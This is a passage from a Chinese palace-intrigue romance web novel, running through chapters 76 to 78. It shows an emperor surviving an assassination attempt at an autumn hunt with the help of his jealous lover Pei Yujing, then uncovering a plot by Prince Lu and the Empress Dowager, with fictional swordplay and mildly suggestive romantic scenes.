想想前不久那个诡异的人头……乐福安苦着脸,呼吸困难捂着心口,这下是彻底没办法放心了。 * 围场宽广,且密林诸多。 师离忱将弓拉满,瞄准了草丛里冒出的一只鹿角,却听身后呼啦啦马蹄声,在静谧的丛林中格外清晰,惊起一群飞鸟。 低头吃草的鹿也被惊了,抬头看到满目精兵骑卫,顿时撒开蹄子跑了。 师离忱:“……” 他一言不发,转眸看向勒马停下的郞义,以及随来的一堆金吾卫,面上情绪不显却足够让这帮小子心虚到齐齐低头。 惊了圣上的猎物,谁都没敢吭声。 郞义向来肃冷的面颊也涨红,十分羞愧,却很勇敢地小声道:“圣上,此处地形复杂,您孤身一人行走,恐有刺客,臣等忧心您的安慰。” 围场很大,禁卫军在最外围有严密的把守,秋狩开始前也进行过一番搜查,可万一有什么东西混进来了呢? 郞义不敢拿圣上的安危开玩笑。 师离忱只是有些遗憾,他看着逐渐跑远的小鹿,要再次瞄准,却在骤然间听到后方传来破空之声。 郞义面色大变,忽地拔剑唤道:“护驾——”话到一半,卡在喉咙。 一尾羽箭从众人头顶略空飞过,呈一线黑影,瑕白的尾羽似被阳光反出一点宛若嘲讽的亮光,闪在众人眼中。 师离忱抬首,目光顺着这一箭的轨迹往前看去。 这一箭如抛物线般,带着汹涌的气势劈开了空气……直挺挺扎在了还在撒丫子奔跑的小鹿身上。 小鹿被箭羽力道贯穿,登时倒地不起。 师离忱面无表情。 金吾卫众人心中一惊—— 有人抢了圣上的猎物! 师离忱回首。金吾卫自动散到旁边,露出站在马背上,提着金弓,看起来格外桀骜嚣张的裴郁璟。 然而他一抬头,却是红着的眼,只对着师离忱哑着嗓子,委屈巴巴地唤了声,“……圣上。” 第76章 师离忱视线停留在裴郁璟身上片刻,忽地重重冷笑一声,并不做理会,收回眼神驱马调转了方向,到另一边去了。 顿时,金吾卫们看着裴郁璟的眼神,变得冷冽万分。 这个抢圣上猎物的罪人!! …… 清风吹得枝叶簌簌作响。 一人一马被抛在原地,师离忱与众人身影远去,隐进了林子。 见师离忱当真没有回过一次眸,裴郁璟笑容渐渐敛去,垂首神情晦暗地看着手里金弓,平静的眼眸里,疯狂似要破土而出。 怎么连句话都不肯和他说…… 这招失效了? * 师旭与穆子秋结伴,顺着圣上去往的方向一路找过来,远远地看到孤寂的一人一马。 师旭一眼就瞄准此人手里的金弓,“……这不是皇兄的御弓吗?” “是裴郁璟。殿下,咱们绕一道吧,别凑他跟前。”穆子秋光是见裴郁璟的背影就开始牙酸,还有点受过教训后的后怕,“这人有点邪性,上回还卸了我条胳膊,还是别私底下与他独处。” 闻言,师旭倏然想起在宫中见到裴郁璟时,裴郁璟暗中挑衅的嚣张模样。他神色冷了冷,忽地加快马速往前急袭。 穆子秋反应过来,不知逸王殿下要做什么,得赶紧跟上。 “哟,瞧你这样,这是被皇兄撇下了吧?” 师旭停在裴郁璟旁边,晒笑讥讽道,“皇兄脾气是最宽容温和的,却也不是哪里冒出个阿猫阿狗都能做本王的皇嫂,一时宠幸而已,这会儿不就腻了吗?本王劝你知难而退,待时间到了,滚回南晋去!” 话到后头,带了一丝警告的冷意。 风裹挟着叶声,马蹄声也有些大,穆子秋追上来只隐约听到了‘皇嫂’‘时间’‘南晋’……细思极恐,顿时天好像要塌了。 没旁人在,裴郁璟看他们的目光几乎不加掩饰,轻蔑一瞥,阴鸷暴戾的震慑感,铺面而来。 师旭一怔,忽然警觉。 裴郁璟下颌轻抬,露出一个让人毛骨悚然的笑,“那你怕是要失望了……圣上对我,永远不会腻。” 目光相碰,气氛陡然争锋相对。 不过瞬息,裴郁璟收敛了杀气,拉着缰绳调转马头,遗憾道,“算了,八弟是不会明白的。” 末了一声极具深意挑衅的嗤笑,驾马远去。 徒留二人面色铁青。 穆子秋察觉到双方莫名散发的敌意,愤怒与惆怅间,心里更难过了。 圣上和裴郁璟。 居然是真的。 都一个叫皇嫂,一个叫八弟了……他还能有机会吗? * 被抢了猎物,师离忱好心情被坏了大半,再遇见猎物时也没了在射杀的心思,干脆打道回府。 掉个头遇上了穆子秋和师旭,师旭招手扬声道:“皇兄!” 师离忱瞧他们身后连个跟着的人都没有,便拨了两个金吾卫过去,笑道:“你们这是来打猎还是来郊游的?” “我要跟着皇兄一起走嘛。”师旭笑嘻嘻地与师离忱并肩骑行,想了想哼道:“臣弟半道上遇到了那裴郁璟,皇兄不知道,他那脸臭得,活像是有人欠了他几千金!” 穆子秋搭腔,“对啊,圣上可瞧见他那身打扮,花枝招展的,知道的说他是来秋猎,不知道的还以为他是来相看哪家贵女,实在不像样。” 听着二人使劲说裴郁璟坏话,师离忱低低笑了两声,不做回答。 见师离忱神情并无变化,师旭调转话头,道:“皇兄,新画的舆图用着可还习惯?” 提到舆图。师离忱正了正神色,不疾不徐道:“这回你倒是立了大功,秦将军采用了这张舆图,重新部署了边防,给鞑靼吃了几回教训……你可要什么赏赐?” 师旭得意地扬眉,“能帮上皇兄,臣弟心满意足,不需要什么赏赐。” 马慢悠悠地走着,他低眼看到师离忱衣摆上一晃一晃的金绣龙纹,眸中一软,“只是许久没和皇兄如此亲近的说话,臣弟心中有些感慨。” 自从出事后,外出游历一年多才敢回来…… 师离忱语气温和道:“勿要忧思。” …… 秋狩三日。 师离忱草草结束回了浮生山庄歇息,听闻今日猎得最多原本是裴郁璟,不知为何猎到一半他人就不见了,后头被穆子秋追上了数量,成了第一。 而据说不见的了裴郁璟。 此刻埋伏在圣上的床榻间,赤着上身,将自己绑成了礼物,红绳勒住紧实的皮肉似乎让身躯变得更加饱满,肌肉线条流畅,顺着锁骨望下来的腹沟精美。 师离忱掀开床帐,便见这么个人,怔愣一瞬,而后瞬间冷了面色:“谁准你上朕的榻了?” 裴郁璟红着眼,可怜道:“他们都说圣上腻了……” 从某种意义上来说,师离忱确实有被引。诱。到。但他不可能承认,既然要冷了关系自然就要做绝。 他把榻上的人丢下来,视线有片刻停在裴郁璟被红绳捆绑压出的鼓肌上,随后闭目沉声道:“……滚出去。” 裴郁璟不可能错过着任何机会,哪怕一点苗头,都足够他顺杆子往上爬。只不过他被捆得结实了,只能向前膝行几步,用唇叼住圣上垂在身侧的手指,将指尖含在舌间卷一卷。 这种举动,如果是野兽来做,比如小汤圆,代表的就是亲。昵,亲近。由人来做,那就有些色。气,带了几分暗示的意味。 况且裴郁璟在某些方面确实做到了极致,他学得很好,之前数次也都把圣上伺候的很好。 师离忱不可避免的被诱惑了一下。低垂的眼眸暗沉,紧紧看着裴郁璟将他的手指含在舌尖,裴郁璟眼神直勾勾地盯着他,同样在勾他。 “……” 师离忱抽回了手指,指腹按在了裴郁璟嘴角,狠狠擦了擦,嗓音哑了一些但依旧冷冰冰的,“朕说了,滚出去。”他拍了拍裴郁璟的脸颊,眼波瞧不出喜怒,“这招没用。” …… 裴郁璟又被赶出来了。 绑没松,但好歹给了他件衣服。 裴郁璟后牙都痒了,死活想不通明明小皇帝都意动了,怎么就不肯亲手拆开他这个大礼呢? 分明很喜欢! * 秋狩共三日。 第二日师离忱照常,介于金吾卫昨日惊吓猎物的表现,全部被师离忱留在了行营。 只有乐福安怎么说都不肯留在行营,“老奴这把骨头还能活动,用不上那么仔细。” 师离忱只好随他去。 围场丛林密布,浅显些的地方有小鹿野兔之类的,足够师离忱活动筋骨,体型再大一些的野兽便不行了,失了内力之后不能再和以前一样莽撞。 草尖轻晃。 他拉弓提箭,闭上一只眼瞄准方向。忽地闻风轻抖,乐福安惊觉:“圣上!低头!” 师离忱立刻倾身趴下,一簇飞箭贴着头顶掠过,钉死在了树上!丛林树梢上窜下来几道黑影,约莫十几人将一人一马包围起来。 “有刺客!” 乐福安按动拂尘机关,拔出断刃拼接成一把**,护在师离忱身前。 秋狩开始前禁军会大肆搜查围场,故此他才会远离行营单独行动,谁又有这么大本事,敢在秋狩围场刺杀? 师离忱微微眯眼,抽出腰上缠绕的软剑。与瞬息之间,挡住刺客杀来的刀剑,这一交手便感觉到了不妙。 手腕被震得发麻。 这些刺客有备而来,且能耐不俗,不输金吾卫,训练有素寡言杀伐,哪怕乐福安一个劲逼问,也半个字都不往外吐露。 他们的目标是师离忱,乐福安哪怕挡得再严密,也有百密一疏。 师离忱暗自思忖。 若是内力未失之前,杀出这包围圈不是问题,可他如今没有内力,凭着往日经验只能勉强避开不受伤害,大部分压力都被福安承受了。 “啾——” 乐福安放出信号,道:“圣上,金吾卫马上就赶过来了——唔!”他肩上被划了一下,很闷一声,反手一**了回去。 眼见乐福安受伤,师离忱不再犹豫,一鞭子抽在了乐福安所骑着的马上,冷静的做安排道:“福安,你先走!带小汤圆来找朕!” 乐福安瞳孔骤缩,“——圣上!!” 然而师离忱已经纵马往林子深处去,这些刺客既然是奔着他来的,那么自然就会追着他来。 果不其然。 刺客穷追不舍,时不时放出暗器,带着杀意取命,师离忱反手用软剑一一挡下。越往里林子越密,山阴可怖。 陡然间。 师离忱听到另一阵马蹄声,他回首看去,裴郁璟追了上来,不愧是汗血千里马,全开后速度奇快,宛若一道银色闪电。 他也一改往日神情,目光冷凝,眼底暴戾牵马跃起,杀穿其中一个刺客,朝师离忱伸出手来,厉声道:“手给我!” 御马性情温和,又失与锻炼,在某些地方速度比不得野驯的千里马。师离忱也不矫情,手伸过去,被裴郁璟拉着手腕,猛里一提拽到身前,马儿还在往前狂奔,速度俨然比之前快了不少。 刺客还在穷追,师离忱一边挡住侧面飞来的暗箭,一边用软剑挡的同时飞出袖箭又击退两名刺客,又一边喘着气问:“你怎么来了?” 裴郁璟道:“我就在后头跟着,看到信号猜到出事了,过来的时候又看到乐福安身上带着伤,便一刻也不敢耽搁。” 幸亏来了。 交手两回合便察觉到刺客不是省油的灯,若是让这些人一直追着小皇帝,待小皇帝体力耗尽,后果不堪设想。 师离忱看了眼,追着的刺客还有八九个,并且还在陆续增加,这帮刺客怕是有二三十人,见追不上千里马便簌簌放箭,四面八方,杀气腾腾。 “小心!”裴郁璟护着师离忱的头,运起内力手中刀剑一扫,呈一道圆弧涟漪将箭矢砍断。 他蹙眉道:“这些人内力不弱,轻功也不错,寡不敌众不好硬来……圣上可知他们是谁的人?” 师离忱心底压着火气,眸色冷凝:“敢在皇家围场动手的,没几个。要么就破罐破摔,要么就没脑子,先把这些人甩开……”他指挥道,“左拐。” 裴郁璟立刻让马儿掉了方向。 左拐之后,林子愈发狭隘,这里已经是围场最深处,甚至到了围场边缘,一道坡度较陡的山崖出现在面前。 裴郁璟低眼,与师离忱视线对上,几乎瞬间就猜到了对方想法。 确实。 与这些刺客对上,未必能全须全尾退出,况且刺客在暗器或者武器上淬了毒,伤到就是死路一条。 还不如滚下断崖,甩开这些刺客尚有一线生机。 顷刻间。 裴郁璟将外袍褪下裹在了师离忱头上,将人搂住在怀中抱着翻身下马,在刺客追上来之际,直接滚下山崖。 箭贴着二人身影擦过,飞向空旷的山崖上空。 此地山崖险峻陡峭,乃是围场边缘,不能轻易翻山越岭而上,若是直接跳下去必死无疑,可若贴着陡峭的岩壁滚下去,就是另外一种说法。 一阵天旋地转,崖壁砂石诸多,膈得师离忱浑身疼痛,但他的头被包着,整个人都被裴郁璟护在怀里,看不清情形,只能听到裴郁璟时不时的闷哼,忍着疼问:“九苍,你还好吗?” “跳崖嘛,难免磕碰,别担心。”裴郁璟喘着粗。气,似乎也在忍耐,听起来精神气还很足。 师离忱浅松一气。 片刻后。 感觉坠地摔在了平地,他摔在了裴郁璟身上,小腿膝盖磕到了石头,顿时疼痛感席卷而来。 裴郁璟则重重闷哼了一声,没有说话。 师离忱忍耐着扯开头上的衣袍,着急去看裴郁璟的情况,裴郁璟脸色苍白好似失了血色,师离忱赶紧扒开他的衣襟,看到全是砂石磕碰出来的血迹。 哪怕是到这会儿了,裴郁璟还有空开玩笑,“圣上瞧,我把脸护住了,还能看吧?” 师离忱说不清是什么感受,心尖颤了颤,酸胀得厉害,“……都什么时候了!” 虽然裴郁璟将他护好了,师离忱的情况也说不上好,尤其是养尊处优久了,很少有这种惊心动魄,被追杀得如此狼狈。 好在二人均无大碍。 放松下来后,才感觉到后背以及腿上疼得厉害,他喘了一口气,揪着裴郁璟衣襟的手紧了紧,眼前一黑昏了过去。 * 师离忱头脑有些昏沉,朦胧间似乎听到了野兽的嘶吼声。不真切,仿佛是在远方飘过来,被风送进了耳朵。 后头闻到了滴滴答答的血腥气,周边温度忽然变得没有那么阴冷。一个高挑的身影在眼前晃啊晃,来探他额间的温度。 被熟悉的气息裹挟。 师离忱又沉沉地昏睡过去。 待他又一次清醒过来,睁眼才发觉自己躺在了一个洞穴里,身下垫着一件熟悉的外袍,一旁染着火堆,木柴发出轻声噼啪爆开的声响。 师离忱扫视一圈,心尖陡然一颤。 一个硕大的熊头就在角落里摆着,眼睛瞪得老大,面孔狰狞。他缓了缓,便听到洞口传来细微的脚步声。 他警觉看去,一道高大黑影在洞口背光而立,因为洞口有些窄小,得弯腰进来,挡住了大部分光源。 待进来了,师离忱才看清是裴郁璟,手里头抖着一张刚处理干净的熊皮。很大一张,刚用内力烘干,还带着氤氲水气。 他自己头发还是湿的,上身赤膊缠着零碎的布条,衣摆被撕成了一道道布条。见师离忱醒来坐着,又不说话只盯着他看,便过来又探了探师离忱额头,松了口气道:“总算不烧了。” 师离忱目光看向裴郁璟包住的伤口,上手要扒,立刻被按住了手腕。师离忱眉头轻拧,“朕看看。” 裴郁璟捉着师离忱的手,就着亲一口手背,讨饶地笑了笑:“别看了,这个不好看。” “松开。”师离忱不悦道。 裴郁璟只好老实交代,“被熊瞎子挠了一道,撒过金疮药了,真的没事……我把熊瞎子的皮剥了,回去给你当垫子用。” 这个话题转移的很生硬,但师离忱没追究,只沉默了会儿,忽然按住裴郁璟的后颈,倾身吻住那张嘴。 裴郁璟睁大了眼睛,没想到还有意外之喜,立即回应上去,轻咬着圣上柔软的唇瓣,意识到不对劲,分开来,发觉圣上眼睛有些红。 他笑了,“我就知道圣上心里有我。” 什么鬼东西。师离忱恼得很,追着凶狠地继续吻上去,在他唇上狠狠咬了一口,又舔走溢出的鲜血。 裴郁璟激动得无以复加,动也不敢动,眼底全然是要疯狂,呼吸陡然变得急促,压抑得从喉间滚出沙哑的闷哼。 师离忱眼睛向下一瞥。 “立起来了。” 闻言,裴郁璟声音嘶哑,苦笑道:“是啊,圣上,它就没听过话。”可惜这不是好地方。 他低头,把高挺地鼻梁埋在了师离忱颈窝,用牙碰了碰,深深一嗅,努力平息着躁动的火气。 好半晌。 才压了下去。 师离忱道:“朕睡了多久?” “半个时辰。”裴郁璟道,“这里不远的地方有条小溪,我在旁边布了陷阱,如果有人靠近这个石头会掉下来。” 说着他往上方指了指,藤条从外头绕进来,被两根骨头钉在了顶上,支撑着几块小碎石。 还以为昏睡了很久,没想到才睡了半个时辰。师离忱颔首道,“且先等着吧。这边隐蔽,刺客一时半会儿找不过来,金吾卫会搜山,但也要等。” 裴郁璟应了一声。 空气一时安静。 师离忱后知后觉去看昏睡过去之前,磕碰到了小腿和膝盖,撩起来一看,已经浮上青紫,在冷白的肌肤上显得格外骇人。 霎时间,裴郁璟眉头拧死,“……刚刚弄的?” 他面色有些阴沉,死瞪着那片青紫,只是他瞪得再厉害,磕到就是磕到,不可能立刻消失。 师离忱无所谓地笑了笑,慢条斯理道:“坠崖啊,又不是平地摔,有些伤也是正常,不是很疼,朕又不是不能忍,大惊小怪。” 而且裴郁璟应该伤得比他重才对,当时从崖下滚下来,坠地的那一刻,裴郁璟可是当了肉垫,背部直接接触到了密集的乱石,重重磕了上去。 哪怕只是匆忙扫过一眼,师离忱也能看到那些铺平的乱石,其实没有那么圆滑。可能会嵌进肉里。 思索间,师离忱目光瞟向裴郁璟的肩膀,想看看他的后背,“转过来,朕看一眼。” “圣上和我不一样,我皮糙肉厚的,伤就伤了不过是家常便饭没什么好看的。”裴郁璟捧着师离忱修长的小腿,看着那片青紫,眼眶红红的,“都这样了……怎么可能不疼呢。” 但师离忱习惯了忍耐。 他只是觉得裴郁璟的眼泪来得很奇怪,不似之前卖惨卖乖的眼泪,还小声抽了一下,滴在了他小腿上,泪水是凉的,可师离忱却莫名觉得烫人。 师离忱表情古怪,“你伤得比朕重,怎么是你在哭……快点转过来!朕看看。”后头一句,声音带上几分命令,大有要动手的意思。 裴郁璟可不敢让师离忱折腾,只好背过身来。 他后背本就有许多伤疤,或是刀剑砍伤,也有淡淡的陈年狼爪抓咬过的痕迹,比前面的伤痕多,长在这幅紧实精壮的身躯上,愈合之后成了勋章。 之前师离忱都只是抚摸过,指腹能感觉到疤痕轻微起伏的纹路,还是第一次正经仔细看。 这些伤疤之上,有今日新添的伤,从崖壁上滚落下来,被碎石划到,最后坠地被乱石戳出大大小小的伤口。 裴郁璟去清洗过,简单上了个药,只包住了前面的爪痕,却没包住后面的——除了石头摩擦以及戳出来的伤口,还有熊瞎子在腰腹上挠过的一道爪痕,或许是避让及时,不算很深,上药后止住了血,但这大大小小加在一起,很是狰狞可怖。 哪怕是这样了,但裴郁璟在他面前,依旧表现得却很轻松……真是个蠢货,该卖惨的时候又不卖了。 师离忱垂眼。 静默片刻。 裴郁璟觉得落在后背上的视线,有点灼热,忍不住问道:“圣上,好了……”话头一顿,他感觉到肩上贴来的一个吻。 裴郁璟喉结滚动了一下,能感觉到师离忱靠近了,在他的伤口上轻轻的亲了亲,宛若羽毛轻抚而过,挠在他心上,叫他一下慌了神。 师离忱低敛着眼,嗓音沉哑:“功是功,过是过……别以为朕原谅你了。” “好。”裴郁璟乐开了花,笑眯眯道,“只要你肯理我,不赶我走,怎样都是好的。” …… 熊瞎子的肉被割下来,放在火上炙烤。没有盐,裴郁璟摘了两个果子擦在肉上,割成小块递到师离忱嘴边。 有果香辅助,熊肉嚼起来别有一番风味。师离忱道:“烤制手法很熟练。” 裴郁璟笑道:“练出来的。圣上也知道南晋内斗严重,边关时常缺粮,我便经常潜去鞑靼的原野上打牙祭。” 师离忱食量不是很大,吃饱了便靠着裴郁璟歇息,裴郁璟见师离忱吃好了,便将剩下的全部塞进肚子里。 * 周遭肃静。 “啪嗒啪嗒。” 忽地,洞口安置的小石块掉落在地。 师离忱顿时睁开眼睛,与裴郁璟对视一眼——有人来了。 尚不知是敌是友,裴郁璟起身拿刀埋伏在了洞口,低沉地虎啸穿来,师离忱抬手道:“……等等。” 白虎在洞口一路嗅过来,进了洞瞧见师离忱,顿时兴奋得甩了甩尾巴,昂首大吼了一声。 老虎对于血腥味比较敏感,第一时间先围着火堆转了一圈,又嗅了嗅那颗熊头,敌视地龇了龇牙,发现没有威胁之后,才盘在师离忱身边,亲昵的蹭了蹭师离忱的腿。 “嘶——” 师离忱被顶到了伤口,倒吸一口凉气,小汤圆登时动也不敢动,缩着耳朵俯趴下了脑袋。 裴郁璟端详着小汤圆,“圣上怎么驯的?”白虎寻人,比人来得都快。 师离忱揉了揉小汤圆的脑袋,安抚它的情绪,对裴郁璟道:“小汤圆自小就和朕一起同吃同睡,朕时常与它玩捉迷藏的游戏,旁人或许不能找到朕,但小汤圆一定可以。” 他浅笑着,取下小汤圆脖子上挂着的竹节信号,丢给裴郁璟,“去放了,金吾卫很快就能找过来。” …… 信号放出。 须臾便听到金吾卫整齐的脚步,金吾卫本就搜寻到了附近,一见信号得知方位便过来了,自然很快。 不过洞穴不大,不能容纳那么多人,郞义与穆子秋白着一张脸进来,又进了三四个金吾卫,一齐在师离忱面前跪下,“见过圣上!” 郞义没想到防护如此严密,完全查验过的围场还能混进刺客,很是自责道:“臣失职。” “若人有心,便是无孔不入也能寻到机会。”话虽如此说,但师离忱心底还压着火,敢在围场行刺…… 陡然间,寒芒在眼前闪过,跪在面前的一名金吾卫骤然暴起,拔刀刺向师离忱!一旁裴郁璟早有防范,一刀挡住,与郞义携力将人按下。 裴郁璟转眸,看到另一侧的一名金吾卫,低头时眼中闪烁着诡谲之色,神情一变提醒道:“小心!” “噗呲!” 剑穿心而过。 穿得却是刺客的心。 在裴郁璟出声的瞬间,师离忱便抽出了穆子秋腰间的佩剑,冷眼一剑洞穿了刺客心脏,一剑到底,剑柄抵住胸膛。 穆子秋反应过来扣住了刺客的手腕,将其制住。 师离忱狠狠拧了拧,让剑刃在刺客胸膛里转了个圈,然后踹开了断气的刺客,面无表情甩了甩剑上的血,又几滴飞到了他的脸侧,宛若艳丽的红痣,他唇边带笑眉眼间竟是快意,沉声道—— “给朕查!” 第77章 这种出动几十个死士,又在秋狩的第二日才开始埋伏刺杀的行为,必然是在围场有内应。 刺杀之人完全不惧怕暴露,并且十分放肆的要致师离忱为死地……师离忱失去踪迹的这段时间,有两名刺客在极短的时间内伪装成了金吾卫。 这两名金吾卫的尸首在林子里被发现,衣物被全部剥去,刺客做出搜寻时的灰头土脸,又刻意低头,其他人又关心则乱,金吾卫与金吾卫之间并不是全部识得,便如此混了过去。 死士拷问不出东西,但这事不需要拷问。 围场刺杀弄得这般高调,查起来很快,每个人都细细盘问过去,仔细到每时每刻做了什么,且在一起的人做了什么,但凡有一点对不上都会受到质疑。 大半日下来,便审得差不多了。 刺客的剑上有毒,乐福安受了剑伤昏迷不醒,太医正在全力诊治。 回了浮生山庄后裴郁璟的伤口进行了重新包扎,熊瞎子挠他那两下比刺客伤得还重,见师离忱无恙后,他才晕厥过去,唇色都泛白了。 在洞穴里的时候有些阴暗,并未看清,如今屋中灯火通明,师离忱才看到裴郁璟手背上也裹着黑布,叫太医拆开看了看,手背上也有许多碎石摩擦砸到的伤口,许是滚下山时为了护住他所导致的。 看着躺在床榻上的裴郁璟,师离忱嘴角压了压,吩咐太医:“好好用药。” 太医拿不准圣上的主意,小心翼翼道:“如从前一般,多加黄连?” “……” 师离忱眸子微动,语气不轻不重:“黄连能少用就少用……可以给他多加些甘草。” 太医:“喏。” …… 后背还是隐隐作痛,浑身筋骨就像是被拆过一般。 师离忱对镜看过,后背有一大块青紫,滚下山崖时的一块大石撞出来的,要揉开才行。 不过他觉得不是什么大伤,晚些再处理也没问题,但他也不会委屈自己,便先用软垫软衾堆在椅背上,整个人没骨头似的陷阱去,闭目养息。 这样会舒服些。 静等外头一阵兵荒马乱。 直到尘埃落定,真相查明。 郞义面色沉重的进屋,行礼过后,见屋中有人便到师离忱身侧附耳,压低声音将事情交代了一遍。 原是禁军里有之前受过鹿亲王恩惠的小兵,鹿亲王被圈禁之后,不甘于室,手中还剩一支高祖皇帝给他留的死士,想趁着秋狩期间搏一搏。 围场外围都是禁军监察管辖,那小兵了解禁军换值时间,得了利诱也想立从龙之功,就给死士行了便利。 而死士熟悉围场当中的地形,只要能进来,在其中埋伏便是轻而易举的事。 师离忱却摇头道:“不对,单是鹿亲王一人,没这个能耐。” 哪怕是被圈禁府邸,他也从未放松过对鹿亲王的监管,监察司近来并未上报过鹿亲王的异动…… 等等。 师离忱微微蹙眉,道:“让监察司去查,鹿亲王除了联络过润州总兵之外,还借着谁的名义,联络过其他人?” 郞义道:“臣明白。” 立刻着手去办。 师离忱长睫低垂,眼底一片阴沉沉的戾气。他自然不可能放过这次刺杀之人,自从登基后他还是头一回吃这么大的亏,既伤了福安,又害得他不得不滚下山崖。 若今日裴郁璟没来,他会选择自己跳下去,约莫会去半条命。 师离忱下意识地在膝盖有一搭没一搭的敲着,感受着疼痛席来,他笑容森冷,杀气腾腾。 好啊! 真是好得很! * 圣上秋狩遇刺,在朝廷引起轩然大波。 此事彻查。 鹿亲王府邸被翻得底朝天,鹿亲王昂着脖子不认罪,结果就是被死士身上的烙印出卖了身份。 他就是这批死士的主人。 明面上的始作俑者很明显。鹿亲王见无法抵赖,便开始大肆辱骂,他是高祖帝的小儿子,高祖帝老来得子,将他养得儒雅尊荣。 这会儿见逃不过,干脆把儒雅的面具全撕了,骂得要多脏有多脏,从高祖帝骂到广孝帝,又骂到师离忱,一共三代皇帝他这张嘴谁都没放过。 他恨高祖帝那么疼他,却不把皇位传给他。 他恨他在广孝帝手底下伏低做小隐忍了一辈子,广孝帝也没拿他做文章,最后却被师离忱这个小辈逼到了死角。 骂老天骂朝臣,怨天尤人。 师离忱叫人把他绑在了金銮殿前的柱子上,晾他个三天三夜,没水没粮,呼救也没人搭理,还会被上朝的百官偶尔瞻仰。 终于他受不了了,被太阳晒得去邪,他敢造反不敢自裁,老实的被送回府邸继续幽禁。 其余涉及刺杀的可就没那么好运了。 该杀的杀,该死的死,活口?别想有活口。师离忱本是要把鹿亲王也处置了,一个免死金牌,可免不了两次死。 但想了想,没动手。 鹿亲王只是个替罪羊,监察司查出鹿亲王被幽禁之前,递给润州总兵的消息,其中有两则传回了京都,被禁军接收。 押运菜蔬时,又递给了采蔬司的公公,最后路上辗转反侧,过了几道人传递到了太后手里。 师离忱都听笑了。 难怪太后安安分分那么久,原是趁着今年新的宫人进来,重新收买的一波人心,以便传递消息。 这些人不知之前太后宫中被血洗过,那事也做得隐蔽,宫人们哪怕听到风声也不敢乱传。 再者镇国公是忠于君的可信之人,可他手底下的人未必,太后又是镇国公的嫡亲胞妹,借个名头办事,很简单。 就像是新进宫的宫人,哪怕被警告过也不会长记性。毕竟言语上几句告诫罢了,哪里比得过摆在眼前的,白花花的雪花银。 财帛动人心呐! …… 太后的爪牙都被拔了,她哪有那么大的本事,但她有和南晋联络的渠道,替鹿亲王传点消息不难。 这么一想,便全通了。 师离忱闭目吐出一息—— 鹿亲王起兵谋反之前,就想好了死士的去路。 若是成功,这些死士按捺不动。若是失败,由南晋埋伏在京都的暗探来做推手,推波助澜,找机会刺杀。 这种事,南晋向来乐意相助,左右他不亏。 成功了换一个有猪脑子的皇帝,南晋帝能乐开花。失败了就是往里搭了个探子。 “和亲。” 师离忱提笔写下国书,盖上印信,眸波平静中透出几分疯狂的意味。 既然那么想和亲,那就和! 百官一时摸不清圣上到底怎么想的,忽然就松了口……反对派上奏弹劾,赞成派反对反对派弹劾,朝会上又吵闹了起来。 而裴郁璟。 刚恢复一点精神气。 天塌了。 * “你只要我的,说着只要我的。” 裴郁璟眼底是要汹涌溢出的狂热偏执,想把帝王一块烧了,嘴角笑容残忍:“你白天娶和亲公主,晚上一定能见到变成鱼脍的公主……你见过我的刀工,可以把她的皮肉片到薄如蝉翼。” 说这话的时候,他身躯有些轻微战栗,似乎激动到了某种阈值,死死凝视着师离忱。 师离忱被他言语中的血腥,激得抖了抖。 不是害怕,是有些兴奋,不过他对片活人公主鱼脍没兴趣,是想到裴郁璟如果被片成鱼脍,清洗干净血渍,皮肉晶莹透光,挂在同样森白的骨架上…… 够了。 师离忱及时住脑,深吸一口气,随便在裴郁璟嘴角嘬了一口,“……谁说朕要娶她了。” 他低笑道,“和亲未必能成,再者就算成了,宗亲也能娶。先前在千鹤楼大肆摆春华宴的小郡王,你不是见过?他还没成婚呢。” 皇宫养着这帮酒囊饭袋的宗亲,好不容易有能用得上的地方……总得出出力吧?否则师离忱真想不到,有什么理由养着他们。 唇边似乎还残留了圣上的淡淡香气,裴郁璟身上那股蠢蠢欲动的气势几乎是立刻平息了下来。 他舔了舔,意犹未尽地盯着师离忱的嘴唇,看着师离忱说话间一张一合,里头柔软嫩色与冷白贝齿。 好像听了,又好像没听。 第78章 夜间太医来给圣上瞧了瞧。 原本师离忱后背所磕碰到的青紫就很严重,经过这两日的显化,淤青看起来更多了,后腰,小腿,膝盖,简直触目惊心。 依太医所言,不能再放任下去,必须要用药酒擦了推开才行。 乐福安这会儿解了毒,已无大碍,脸色还有些惨白就回了御前,听闻此事,急得要夺过药酒给师离忱擦上。 可毒解了伤还没好,见他一动就牵扯到肩头的伤,一副摇摇欲坠的模样。师离忱都担心他随时晕过去,赶紧叫福生,“把你师父搀下去,伤没养好之前别回御前,一把年纪了少折腾些。” 乐福安苦着脸,“圣上,老奴……哎哟!”说话间又闪着腰了,再留下只能拖后腿。 如此便不好留在御前,乐福安遗憾地叹了叹,只能妥协一瘸一拐的被福生搀着离开。 推开淤青的活就交给郞义了。 裴郁璟端着熬好的药回来,就见郞义半跪在圣上身前,将宽松寝衣裤腿往上卷,脸色骤黑,差点没把碗砸在郞义头上。 他快步过去,把人挤开,抢走了药酒,沉声道:“我来。” 郞义蹙眉。 师离忱摆摆手道:“下去吧。” 郞义恭敬行礼退下。 “砰!” 郞义一走,裴郁璟顺便去把殿门关严实了,扭头对上师离忱含笑的眸子,先把药碗端到师离忱面前,“……喝药。” 师离忱笑他,“醋劲真大。” 裴郁璟去净了手,然后才将药酒往手上倒,搓热的掌心,才半跪在师离忱面前,将线条流畅的修长脚踝搭在腿上,轻轻在淤青的地方推拿。 “嘶——” 师离忱眉心微拧,有些疼,但也有些舒服。裴郁璟的手心很暖,热乎乎的又带上药酒的清凉,让淤青的位置不再那么刺痛。 “知道我醋劲大,就离那些小白脸远一点。” 裴郁璟给小皇帝揉着膝盖,又在白皙的小腿上捏了捏,帝王冷白娇嫩的肌肤,与他的手背肤色形成鲜明对比。 师离忱倾身,在他眉心亲了一口,“朕看你不在,郞义也是习武之人,让他来推挺合适的。” 裴郁璟挑眉道,“……圣上是不想喝药吧?我温好了才拿来的,等会儿凉了。”见师离忱不为所动,他道,“嗯……我还带了你爱吃的果脯。” 师离忱重新倒回了椅子,眯起眸子看裴郁璟。 裴郁璟低笑道:“从宫外带来的,在怀里。”他将占满药酒的双手呈在师离忱面前,“不方便拿。” 他不方便拿,师离忱方便。直接从裴郁璟怀中拿出了油纸包,打开来捻了两颗吃起来。 裴郁璟看他光吃果脯,不动旁边的药碗,嘴角扬了扬道:“圣上或许听过,以口渡药?” 师离忱懒懒睨了他一眼,“那叫耍。流。氓。” 裴郁璟道:“我想耍。” 这厮愈发不要脸皮了。师离忱哼笑一声,到底拿起了那碗药,一饮而尽,随后又吃了两枚果脯压一压口中的味。 但怎么着好像都有残留的药味。 